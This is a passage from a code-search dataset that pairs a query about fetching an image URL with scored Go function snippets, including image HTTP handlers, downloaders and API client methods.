protocol.Metadata{})\n\n\tif s.Definition != nil {\n\t\tv := s.Definition\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"definition\", protocol.QuotedValue{ValueMarshaler: protocol.BytesValue(v)}, metadata)\n\t}\n\tif s.ApiId != nil {\n\t\tv := *s.ApiId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.PathTarget, \"apiId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9dc24395289f967c840ffe1f8fe99940", "score": "0.47522342", "text": "func (v VolumePatchPropertiesExportPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"rules\", v.Rules)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "1fc8588efc90ff8d6862e6cb87479145", "score": "0.47515094", "text": "func (s DeleteRepositoryPermissionsPolicyOutput) MarshalFields(e protocol.FieldEncoder) error {\n\tif s.Policy != nil {\n\t\tv := s.Policy\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetFields(protocol.BodyTarget, \"policy\", v, metadata)\n\t}\n\treturn nil\n}", "title": "" } ]
ced6d72c5331c986a8e6bd5c56ca620f
D0071 get image url and output imageApi.Image
[ { "docid": "aaf211fb800554e42a9948c3e2b23fa0", "score": "0.704719", "text": "func openImageURL(w http.ResponseWriter, r *http.Request, imgURL string) image.Image {\n\t//c := appengine.NewContext(r)\n\t//log.Printf(\"openImageURL...\")\n\t//client := urlfetch.Client(c)\n //log.Printf(\"openImageURL()\")\n //log.Printf(\"imgURL: %v\", imgURL)\n client := &http.Client{\n Timeout: 60 * time.Second,\n }\n //log.Printf(\"client: %v\", client)\n req, err := http.NewRequest(\"GET\", imgURL, nil)\n if err != nil {\n log.Fatalf(\"failed to create HTTP request: %v\", err)\n }\n //log.Printf(\"req: %v\", req)\n values := url.Values{\"test\":{\"1\"},}\n thisLength := strconv.Itoa(len(values))\n req.Header.Set(\"Content-Length\", thisLength)\n req.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n response, err := client.Do(req)\n if err != nil {\n log.Fatalf(\"HTTP request failed: %v\", err)\n }\n defer response.Body.Close()\n //log.Printf(\"response: %v\", response)\n //bodyBytes, err := ioutil.ReadAll(response.Body)\n\timg, _, err := image.Decode(response.Body)\n\tif err != nil {\n\t\t//panic(err)\n\t}\n\treturn img\n}", "title": "" } ]
[ { "docid": "de5c044c48df4fb1b0acfd10d7bdc0f7", "score": "0.6884774", "text": "func GetImage(writer http.ResponseWriter) {\n\tvar w, h int = 280, 240\n\tvar hw, hh float64 = float64(w / 2), float64(h / 2)\n\tr := 40.0\n\tθ := 2 * math.Pi / 3\n\tcr := &Circle{hw - r*math.Sin(0), hh - r*math.Cos(0), 60}\n\tcg := &Circle{hw - r*math.Sin(θ), hh - r*math.Cos(θ), 60}\n\tcb := &Circle{hw - r*math.Sin(-θ), hh - r*math.Cos(-θ), 60}\n\n\tm := image.NewRGBA(image.Rect(0, 0, w, h))\n\tfor x := 0; x < w; x++ {\n\t\tfor y := 0; y < h; y++ {\n\t\t\tc := color.RGBA{\n\t\t\t\tcr.Brightness(float64(x), float64(y)),\n\t\t\t\tcg.Brightness(float64(x), float64(y)),\n\t\t\t\tcb.Brightness(float64(x), float64(y)),\n\t\t\t\t255,\n\t\t\t}\n\t\t\tm.Set(x, y, c)\n\t\t}\n\t}\n\terr := png.Encode(writer, m)\n\tif err != nil {\n\t\thttp.Error(writer, err.Error(), 500)\n\t}\n}", "title": "" }, { "docid": "ec52e803c68c5595846d98d55bad8f11", "score": "0.68501705", "text": "func GetImageURL(key string, width int64, height int64) (fullPath string) {\n\tendpoint := ImageURL\n\tprefix := \"size\"\n\n\tif height != 0 {\n\t\tfullPath = fmt.Sprintf(\"%s/%s/%dx%d/%s\", endpoint, prefix, width, height, key)\n\t} else {\n\t\tfullPath = fmt.Sprintf(\"%s/%s/%d/%s\", endpoint, prefix, width, key)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "daf69c110b612c39fcd540e8f3b2858f", "score": "0.6842118", "text": "func getImg(r *http.Request) (io.ReadCloser, error) {\n\t// Get the URL of the target image\n\turl, err := urlParam(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Fetch the image\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp.Body, nil\n}", "title": "" }, { "docid": "3a198dbf2c6fb9627b6453a096ca1c5a", "score": "0.68408024", "text": "func (c *Client) Image(ctx context.Context, identifier string) (*Image, error) {\n\treturn apiGet[Image](ctx, c, path.Join(imageAPIPath, identifier))\n}", "title": "" }, { "docid": "e8c7c375a7931433561b347360044539", "score": "0.6817308", "text": "func getImage(url string) (image.Image, error) {\n\tresp, err := http.Get(url)\n\tdefer resp.Body.Close()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn decodeImage(resp.Body)\n}", "title": "" }, { "docid": "1b0cb5fb329217c169fa2ec92da0b729", "score": "0.67998976", "text": "func CreateImageAPI(url string) ([]byte, error) {\n\tfmt.Println(url)\n\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\te := fmt.Errorf(\"Could not parse response html: %v\", err)\n\t\treturn nil, e\n\t}\n\thtml := string(body)\n\t// get url, snippet, thumbnail, context\n\tmeta, err := getMetadata(html)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn meta, nil\n}", "title": "" }, { "docid": "033f569d0489a41f122c54296e6ef28f", "score": "0.6799431", "text": "func GetImage(db DB, imageUrl string) (*Image, error) {\n\n\t// My own Cient with my own Transport\n\t// Just to abort very slow responses\n\ttransport := http.Transport{\n\t\tDial: func(network, addr string) (net.Conn, error) {\n\t\t\treturn net.DialTimeout(network, addr, time.Duration(10*time.Second))\n\t\t},\n\t}\n\n\tclient := http.Client{\n\t\tTransport: &transport,\n\t}\n\n\tres, err := client.Get(imageUrl)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer res.Body.Close()\n\n\timage, err := SaveImage(res.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn image, nil\n}", "title": "" }, { "docid": "16856e881d66736a63343c1d4e738346", "score": "0.6753962", "text": "func (c *ApiController) GetImage() {\n\tglog.Info(\"Get image\")\n\n\tresult := \"{data: 1}\"\n\tc.Ctx.WriteString(result)\n}", "title": "" }, { "docid": "087b176b24459d9097f920cbc5f45d2b", "score": "0.6667178", "text": "func GetImage(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\tid := p.ByName(\"id\")\n\n\turl := fmt.Sprintf(\"%s/%s/%s\", env.Vars.TMDB.Images.BasePath, env.Vars.TMDB.Images.PosterSize, id)\n\n\treq, err := http.NewRequest(http.MethodGet, url, nil)\n\tif err != nil {\n\t\terrors.Respond(w, http.StatusInternalServerError, \"unable to get image\", err.Error())\n\t\treturn\n\t}\n\n\tres, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\terrors.Respond(w, http.StatusInternalServerError, \"unable to get image\", err.Error())\n\t\treturn\n\t}\n\n\tdefer res.Body.Close()\n\tio.Copy(w, res.Body)\n\n\tw.WriteHeader(res.StatusCode)\n}", "title": "" }, { "docid": "740c65b008bfaa1d83454da3500ed73a", "score": "0.657943", "text": "func (s *ProxyServer) GetImage(\n\tc context.Context, req *modelzoo.ImageDownloadRequest) (\n\t*modelzoo.ImageDownloadResponse, error) {\n\n\turl := req.GetUrl()\n\tresp, err := http.Get(url)\n\tif err != nil || resp.StatusCode != 200 {\n\t\tif err != nil {\n\t\t\tdefer resp.Body.Close()\n\t\t}\n\t\treturn nil, status.Error(codes.NotFound,\n\t\t\tfmt.Sprintf(\"Modelzoo was not able to retrieve the image at %s\", url))\n\t}\n\n\tbodyBytes, err := ioutil.ReadAll(resp.Body)\n\tpanicIf(err) // can't parse HTTP response, shouldn't happen\n\n\tcodedBody := dataurl.EncodeBytes(bodyBytes)\n\tresult := &modelzoo.ImageDownloadResponse{\n\t\tImage: codedBody,\n\t}\n\n\treturn result, nil\n}", "title": "" }, { "docid": "57b0e308c00bd909e07e1f2b3cad52bf", "score": "0.65508133", "text": "func ImageGET(list []string, client string, r *http.Request, w http.ResponseWriter) {\n\tlength := len(list) - 1\n\timageHash := list[2]\n\n\t// If the length is correct\n\tif length == 2 {\n\n\t\t// If the imageHash isn't blank\n\t\tif imageHash != \"\" {\n\n\t\t\t// URL for GETing image\n\t\t\turl := \"https://api.imgur.com/3/image/\" + imageHash\n\n\t\t\t// Make headers\n\t\t\theaders := map[string]string{\n\t\t\t\t\"Authorization\": client,\n\t\t\t\t\"Content-Type\": \"application/json\",\n\t\t\t}\n\n\t\t\t// Get body and status code\n\t\t\tbody, status := DoStuff(r.Method, url, nil, headers)\n\n\t\t\t// If the status is not OK\n\t\t\tif status != 200 {\n\n\t\t\t\t// Give error\n\t\t\t\thttp.Error(w, \"Could not get image\", status)\n\t\t\t} else {\n\n\t\t\t\t// Print body\n\t\t\t\tfmt.Fprintln(w, string(body))\n\t\t\t}\n\n\t\t} else {\n\n\t\t\t// Give error\n\t\t\thttp.Error(w, \"imageHash can't be blank\", http.StatusBadRequest)\n\t\t}\n\t} else {\n\n\t\t// Give error\n\t\thttp.Error(w, \"No imageHash\", http.StatusBadRequest)\n\t}\n}", "title": "" }, { "docid": "659f57420b5628f60bc6c23d8783a4e9", "score": "0.65500313", "text": "func (o ImageInformationResponseOutput) ImageUrl() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ImageInformationResponse) string { return v.ImageUrl }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "11535a982cce360035e471d669fe172f", "score": "0.6538935", "text": "func (me *IMAGING_IMPL) ImageResize (\r\n imageUrl string,\r\n width int64,\r\n height int64,\r\n format *string) ([]byte, error) {\r\n //the endpoint path uri\r\n _pathUrl := \"/image-resize\"\r\n\r\n //variable to hold errors\r\n var err error = nil\r\n //the base uri for api requests\r\n _queryBuilder := configuration_pkg.GetBaseURI(configuration_pkg.ENUM_DEFAULT,me.config);\r\n\r\n //prepare query string for API call\r\n _queryBuilder = _queryBuilder + _pathUrl\r\n\r\n //process optional query parameters\r\n _queryBuilder, err = apihelper_pkg.AppendUrlWithQueryParameters(_queryBuilder, map[string]interface{} {\r\n \"user-id\" : neutrinoapi_lib.config.UserId,\r\n \"api-key\" : neutrinoapi_lib.config.ApiKey,\r\n })\r\n if err != nil {\r\n //error in query param handling\r\n return nil, err\r\n }\r\n\r\n //validate and preprocess url\r\n _queryBuilder, err = apihelper_pkg.CleanUrl(_queryBuilder)\r\n if err != nil {\r\n //error in url validation or cleaning\r\n return nil, err\r\n }\r\n //prepare headers for the outgoing request\r\n headers := map[string]interface{} {\r\n \"user-agent\" : \"APIMATIC 2.0\",\r\n }\r\n\r\n //form parameters\r\n parameters := map[string]interface{} {\r\n\r\n \"image-url\" : imageUrl,\r\n \"width\" : width,\r\n \"height\" : height,\r\n \"format\" : apihelper_pkg.ToString(*format, \"png\"),\r\n\r\n }\r\n\r\n\r\n //prepare API request\r\n _request := unirest.Post(_queryBuilder, headers, parameters)\r\n //and invoke the API call request to fetch the response\r\n _response, err := unirest.AsString(_request,false);\r\n if err != nil {\r\n //error in API invocation\r\n return nil, err\r\n }\r\n\r\n //error handling using HTTP status codes\r\n if (_response.Code == 400) {\r\n err = apihelper_pkg.NewAPIError(\"Your API request has been rejected. Check error code for details\", _response.Code, _response.RawBody)\r\n } else if (_response.Code == 403) {\r\n err = apihelper_pkg.NewAPIError(\"You have failed to authenticate\", _response.Code, _response.RawBody)\r\n } else if (_response.Code == 500) {\r\n err = apihelper_pkg.NewAPIError(\"We messed up, sorry! Your request has caused a fatal exception\", _response.Code, _response.RawBody)\r\n } else if (_response.Code == 0) {\r\n err = apihelper_pkg.NewAPIError(\"We messed up, sorry! Your request has caused an error\", _response.Code, _response.RawBody)\r\n } else if (_response.Code < 200) || (_response.Code > 206) { //[200,206] = HTTP OK\r\n err = apihelper_pkg.NewAPIError(\"HTTP Response Not OK\", _response.Code, _response.RawBody)\r\n }\r\n if(err != nil) {\r\n //error detected in status code validation\r\n return nil, err\r\n }\r\n\r\n //returning the response\r\n return _response.RawBody, nil\r\n\r\n}", "title": "" }, { "docid": "c90bb47f70be6d3090db436db0598554", "score": "0.6537091", "text": "func getImg(url string) (n int64, err error) {\n\t// use the userId to name the img\n\treg := regexp.MustCompile(\"/\\\\d{7,9}\")\n\turlId := reg.FindString(url)\n\tpaths := strings.Split(urlId, \"/\")\n\tvar name string\n\tif len(paths) > 1 {\n\t\tname = paths[len(paths)-1]\n\t}\n\tfmt.Println(name)\n\tout, err := os.Create(downloadDir + string(name) + \".jpg\")\n\tdefer out.Close()\n\tresp, err := http.Get(url)\n\tdefer resp.Body.Close()\n\tpix, err := ioutil.ReadAll(resp.Body)\n\tn, err = io.Copy(out, bytes.NewReader(pix))\n\t<-num\n\treturn\n}", "title": "" }, { "docid": "384e3df7ae5558610ab0cf306b014b64", "score": "0.6535305", "text": "func (app App) ImageURL(img UploadInfo, secure bool, size int) (string, error) {\n\treturn app.uploadInteractor.ImageURL(img.Key, secure, size)\n}", "title": "" }, { "docid": "559801f817963e16fd07d2d7e2887078", "score": "0.65278476", "text": "func GetImage(rawurl string) (image.Image, error) {\n\tresp, err := Get(rawurl)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\treturn DecodeImage(resp.Body)\n}", "title": "" }, { "docid": "1eb85c1ed64b209477626646a9b7d74a", "score": "0.6524778", "text": "func (h *Handlers) Image(w http.ResponseWriter, r *http.Request) {\n\t// Extract image id and version\n\timage := chi.URLParam(r, \"image\")\n\tparts := strings.Split(image, \"@\")\n\tvar imageID, version string\n\tif len(parts) == 2 {\n\t\timageID = parts[0]\n\t\tversion = parts[1]\n\t} else {\n\t\timageID = image\n\t}\n\n\t// Check if image version data is cached\n\th.mu.RLock()\n\tdata, ok := h.imagesCache[image]\n\th.mu.RUnlock()\n\tif !ok {\n\t\t// Get image data from database\n\t\tvar err error\n\t\tdata, err = h.imageStore.GetImage(r.Context(), imageID, version)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, hub.ErrNotFound) {\n\t\t\t\tw.WriteHeader(http.StatusNotFound)\n\t\t\t} else {\n\t\t\t\th.logger.Error().Err(err).Str(\"method\", \"Image\").Str(\"imageID\", imageID).Send()\n\t\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\n\t\t// Save image data in cache\n\t\th.mu.Lock()\n\t\th.imagesCache[image] = data\n\t\th.mu.Unlock()\n\t}\n\n\t// Set headers and write image data to response writer\n\tw.Header().Set(\"Cache-Control\", helpers.BuildCacheControlHeader(StaticCacheMaxAge))\n\tif svg.Is(data) {\n\t\tw.Header().Set(\"Content-Type\", \"image/svg+xml\")\n\t} else {\n\t\tw.Header().Set(\"Content-Type\", http.DetectContentType(data))\n\t}\n\t_, _ = w.Write(data)\n}", "title": "" }, { "docid": "bc2bc7c97145ac310be20ccbaaff6048", "score": "0.6498439", "text": "func (ic *Client) GetImage(id string) (*ResponseImage, error) {\n\tclient, err := ic.HTTPClient()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tr := new(ResponseImage)\n\n\tresp, err := client.Get(fmt.Sprintf(\"%simage/%s\", APIBaseV3, id))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\terr = parseResponse(resp, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn r, nil\n}", "title": "" }, { "docid": "9d9e5742cbcf6d09c6f26d978cf0479f", "score": "0.6470396", "text": "func getImage(c echo.Context) error {\n\tid, _ := strconv.Atoi(c.Param(\"id\"))\n\tdb, err := ConnectDB()\n\tif err != nil {\n\t\tlog.Fatal(\"Error al conectar a la base de datos: \", err)\n\t}\n\tvar res Imagen\n\tdb.First(&res, id)\n\treturn c.JSON(http.StatusOK, res)\n}", "title": "" }, { "docid": "2eac3bb2f2f6d02aa42f9327e6ae11e2", "score": "0.646873", "text": "func (c *Crawler) GetImage(path string) ([]byte, error) {\n\treturn getBytes(c.cfg.BaseURL() + path)\n}", "title": "" }, { "docid": "7c623a2ad23a2a93ed28ec91a23be6f5", "score": "0.64625204", "text": "func (self *FopImgInfo) doTestGetImgUrl() (url string, err error) {\n\tentry := self.BucketName + \":\" + self.Key\n\n\tdt := da.NewTransport(self.Conf.AccessKey, self.Conf.SecretKey, nil)\n rsservice, err := rs.NewRS(&self.Conf, dt)\n if err != nil {\n \treturn \n }\n authPolicy := &uptoken.AuthPolicy{\n Scope: entry,\n Deadline: 3600,\n }\n authPolicy.Deadline += uint32(time.Now().Unix())\n token := uptoken.MakeAuthTokenString(self.Conf.AccessKey, self.Conf.SecretKey, authPolicy)\n _, code, err := rsservice.Upload(entry, self.SrcImg, \"\", \"\", \"\", token)\n\n if err != nil || code != 200 {\n \treturn \n }\n /*f, err := os.Open(self.SrcImg)\n if err != nil {\n \treturn \n }\n defer f.Close()\n fi, err := f.Stat()\n if err != nil {\n \treturn\n }\n\n \t_, code, err := rsservice.Put(entry, \"\", f, fi.Size())\n fmt.Println(\"rs.Put \", code, err )\n \tif err != nil || code != 200 {\n \t\treturn \n \t}*/\n\n\tgetRet, code, err := rsservice.Get(entry, \"\", \"\", 3600)\n\tif err != nil || code != 200 {\n\t\treturn\n\t}\n\t\n\turl = getRet.URL\n\treturn\n}", "title": "" }, { "docid": "9db664f5c754a88031bd5e38e7004998", "score": "0.64465505", "text": "func fetchImg(url string) (content []byte, err error) {\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\n\tcontent, err = ioutil.ReadAll(resp.Body)\n\treturn\n}", "title": "" }, { "docid": "1a9dde73c75742eaad461ef5c876eab8", "score": "0.63917476", "text": "func (svc *Rekognition) getImageFromURL(url string) ([]byte, error) {\n\tcli := svc.httpClient\n\tif cli == nil {\n\t\terr := errors.New(\"error on `getImageFromURL`; error=`svc.httpClient is nil`;\")\n\t\tsvc.Errorf(err.Error())\n\t\treturn nil, err\n\t}\n\n\tresp, err := cli.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\tbuf := new(bytes.Buffer)\n\t_, err = io.Copy(buf, resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf.Bytes(), nil\n}", "title": "" }, { "docid": "de3d0253430187ae72ebf6287e1866d8", "score": "0.63802713", "text": "func loadImage(url string) *canvas.Image {\n\t\treq, _ := http.NewRequest(\"GET\", url, nil)\n\t\tres, _ := http.DefaultClient.Do(req)\n\t\tdefer res.Body.Close()\n\t\tbody, _ := ioutil.ReadAll(res.Body)\n\n\t\timgLoc := os.TempDir() + \"/idImg.jpg\" //Location for any device\n\t\terr := ioutil.WriteFile(imgLoc, body, 0644)\n\t\tif err != nil{\n\t\t\tlog.Fatal (\"ioutil TempFile error\", err)\n\t\t}\n\n\t\timg := canvas.NewImageFromFile(imgLoc)\n\t\t//For some reason when this is called, all the images are updated instead of just 1\n\t\t//img.FillMode = canvas.ImageFillOriginal\n\t\t// img.FillMode = canvas.ImageFillContain\n\t\timg.SetMinSize(fyne.NewSize(125,125)) // approx ~1:1.5 (ID picture ratio)\n\n\t\treturn img\n}", "title": "" }, { "docid": "2925ce514bdcce49c9c86ade156c2f28", "score": "0.6369172", "text": "func GetImage(ctx context.Context, url string) (string, io.ReadCloser, error) {\n\tlogNamespace := \"repositories.unsplash.GetImage\"\n\n\tresp, err := resty.New().\n\t\tSetDebug(os.Getenv(\"DEBUG\") == \"true\").\n\t\tR().\n\t\tSetContext(ctx).\n\t\tGet(url)\n\tif err != nil {\n\t\tlog.Errorln(logNamespace, \"resty.Get\", err.Error())\n\t\treturn \"\", nil, err\n\t}\n\tif resp.IsError() {\n\t\terr = fmt.Errorf(\"%v\", resp.Error())\n\t\tlog.Errorln(logNamespace, \"resp.IsError\", err.Error())\n\t\treturn \"\", nil, err\n\t}\n\n\tcontentType := resp.Header().Get(\"Content-type\")\n\treturn contentType, resp.RawBody(), nil\n}", "title": "" }, { "docid": "a76310e93013b592077f2e6a3d7526b5", "score": "0.63670546", "text": "func (h *handler) getImage(c *fiber.Ctx) error {\n\tname := c.Params(\"name\")\n\n\tdate, err := download(h.sess, h.config.Bucket, name)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"download failed: %w\", err)\n\t}\n\tdt := date.Format(time.RFC3339)\n\tmsg := Message{LastModified: dt}\n\n\turl := fmt.Sprintf(\"%s/api/images/%s\", h.config.ServiceBBaseUrl, name)\n\n\tvar buf bytes.Buffer\n\terr = json.NewEncoder(&buf).Encode(msg)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"json.NewEncoder failed: %w\", err)\n\t}\n\n\tr, err := http.Post(url, \"application/json\", &buf)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"http.Post failed: %w\", err)\n\t}\n\tdefer r.Body.Close()\n\n\tif r.StatusCode != 200 {\n\t\tbytes, err := io.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"io.ReadAll failed: %w\", err)\n\t\t}\n\t\treturn fmt.Errorf(\"service-b: %s\", string(bytes))\n\t}\n\n\terr = json.NewDecoder(r.Body).Decode(&msg)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"json.NewDecoder failed: %w\", err)\n\t}\n\n\treturn c.JSON(msg)\n}", "title": "" }, { "docid": "d844f430ba2bd04a33d2f92583db1f1e", "score": "0.63573307", "text": "func (is *ImageService) Get(reqdata *ImageGetRequest) (*ImageGetResponse, *http.Response, error) {\n\tu := fmt.Sprintf(\"images/%s\", reqdata.UUID)\n\n\tu, err := addOptions(u, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treq, err := is.client.NewRequest(\"GET\", u, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar result *ImageGetResponse\n\n\tresp, err := is.client.Do(req, &result)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn result, resp, nil\n}", "title": "" }, { "docid": "61fc72dfef8e7a8910fac54c128bcd7d", "score": "0.63428164", "text": "func GetImage(w http.ResponseWriter, r *http.Request) {\n\n\talbumName := strings.TrimSpace(r.URL.Query().Get(\"album\"))\n\timgName := strings.TrimSpace(r.URL.Query().Get(\"name\"))\n\n\t//album, img name mandatory\n\tif albumName == \"\" || imgName == \"\" {\n\t\te := &result{\n\t\t\tMessage: \"ERROR: Mandatory query params\",\n\t\t\tCode: 400,\n\t\t}\n\t\trenderERROR(w, e)\n\t\treturn\n\t}\n\n\t//Existence of album\n\tif _, err := os.Stat(getPath(albumName)); os.IsNotExist(err) {\n\t\tlog.Println(err)\n\t\te := &result{\n\t\t\tMessage: fmt.Sprintf(\"ERROR: album[%s] not exist\", albumName),\n\t\t\tCode: 404,\n\t\t}\n\t\trenderERROR(w, e)\n\t\treturn\n\t}\n\n\tfiles, _ := ioutil.ReadDir(getPath(albumName))\n\tfmt.Println(files)\n\tfound := false\n\tfor _, entry := range files {\n\t\tfmt.Println(\" \", entry.Name(), entry.IsDir())\n\t\tif strings.EqualFold(entry.Name(), imgName) {\n\t\t\tfound = true\n\t\t}\n\t}\n\n\tif !found {\n\t\te := &result{\n\t\t\tMessage: fmt.Sprintf(\"ERROR: Image[%s] not found in the album[%s]\", imgName, albumName),\n\t\t\tCode: 404,\n\t\t}\n\t\trenderERROR(w, e)\n\t\treturn\n\t}\n\n\timg, err := os.Open(getPath(albumName + \"/\" + imgName))\n\tif err != nil {\n\t\tlog.Println(err)\n\t\te := &result{\n\t\t\tMessage: fmt.Sprintf(\"ERROR: Unbale to open imgae[%s] in the album[%s], err:%q\", imgName, albumName, err),\n\t\t\tCode: 400,\n\t\t}\n\t\trenderERROR(w, e)\n\t\treturn\n\t}\n\tdefer img.Close()\n\n\tbuffer := make([]byte, 512)\n\tif _, err := img.Read(buffer); err != nil {\n\t\te := &result{\n\t\t\tMessage: fmt.Sprintf(\"ERROR: Unbale to open imgae[%s] in the album[%s], err:%q\", imgName, albumName, err),\n\t\t\tCode: 400,\n\t\t}\n\t\trenderERROR(w, e)\n\t\treturn\n\t}\n\n\tbyts, err := ioutil.ReadFile(getPath(albumName + \"/\" + imgName))\n\tif err != nil {\n\t\te := &result{\n\t\t\tMessage: fmt.Sprintf(\"ERROR: Unable to read image[%s] from the album[%s]\", imgName, albumName),\n\t\t\tCode: 400,\n\t\t}\n\t\trenderERROR(w, e)\n\t\treturn\n\t}\n\tw.Write(byts)\n\n}", "title": "" }, { "docid": "845922b7f804b14cc106fe9a4c6a0c47", "score": "0.63162607", "text": "func (a *RemoteImageApiService) GetRemoteImage(ctx _context.Context, imageUrl string) (*os.File, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue *os.File\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/Images/Remote\"\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\tlocalVarQueryParams.Add(\"imageUrl\", parameterToString(imageUrl, \"\"))\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"image/_*\", \"application/octet-stream\", \"application/json\", \"application/json; profile=CamelCase\", \"application/json; profile=PascalCase\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tif ctx != nil {\n\t\t// API Key Authentication\n\t\tif auth, ok := ctx.Value(ContextAPIKey).(APIKey); ok {\n\t\t\tvar key string\n\t\t\tif auth.Prefix != \"\" {\n\t\t\t\tkey = auth.Prefix + \" \" + auth.Key\n\t\t\t} else {\n\t\t\t\tkey = auth.Key\n\t\t\t}\n\t\t\tlocalVarHeaderParams[\"X-Emby-Authorization\"] = key\n\t\t}\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 404 {\n\t\t\tvar v ProblemDetails\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "df3ee825d565bbe22dad1c36b4958bc6", "score": "0.62953573", "text": "func GetImageFullUrl(name string) string {\n\treturn setting.GetAppConf().PrefixUrl + \"/\" + GetImagePath() + name\n}", "title": "" }, { "docid": "5ac9aa83eb94203b56851cbefb79035a", "score": "0.6289785", "text": "func (h *handler) image(w http.ResponseWriter, r *http.Request) error {\n\tfilename := r.URL.Path[len(\"/image/\"):]\n\trequestedExt := filepath.Ext(filename)\n\n\tid, err := strconv.Atoi(filename[0 : len(filename)-len(requestedExt)])\n\tif err != nil {\n\t\tw.WriteHeader(404)\n\t\treturn nil\n\t}\n\n\tdbExt, err := h.redis.getExtension(id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif requestedExt != dbExt {\n\t\tw.WriteHeader(404)\n\t\treturn nil\n\t}\n\n\timage, err := openImage(id, dbExt)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer image.Close()\n\n\tif _, err := io.Copy(w, image); err != nil {\n\t\treturn xerrors.Errorf(\"can not write image to response writer: %w\", 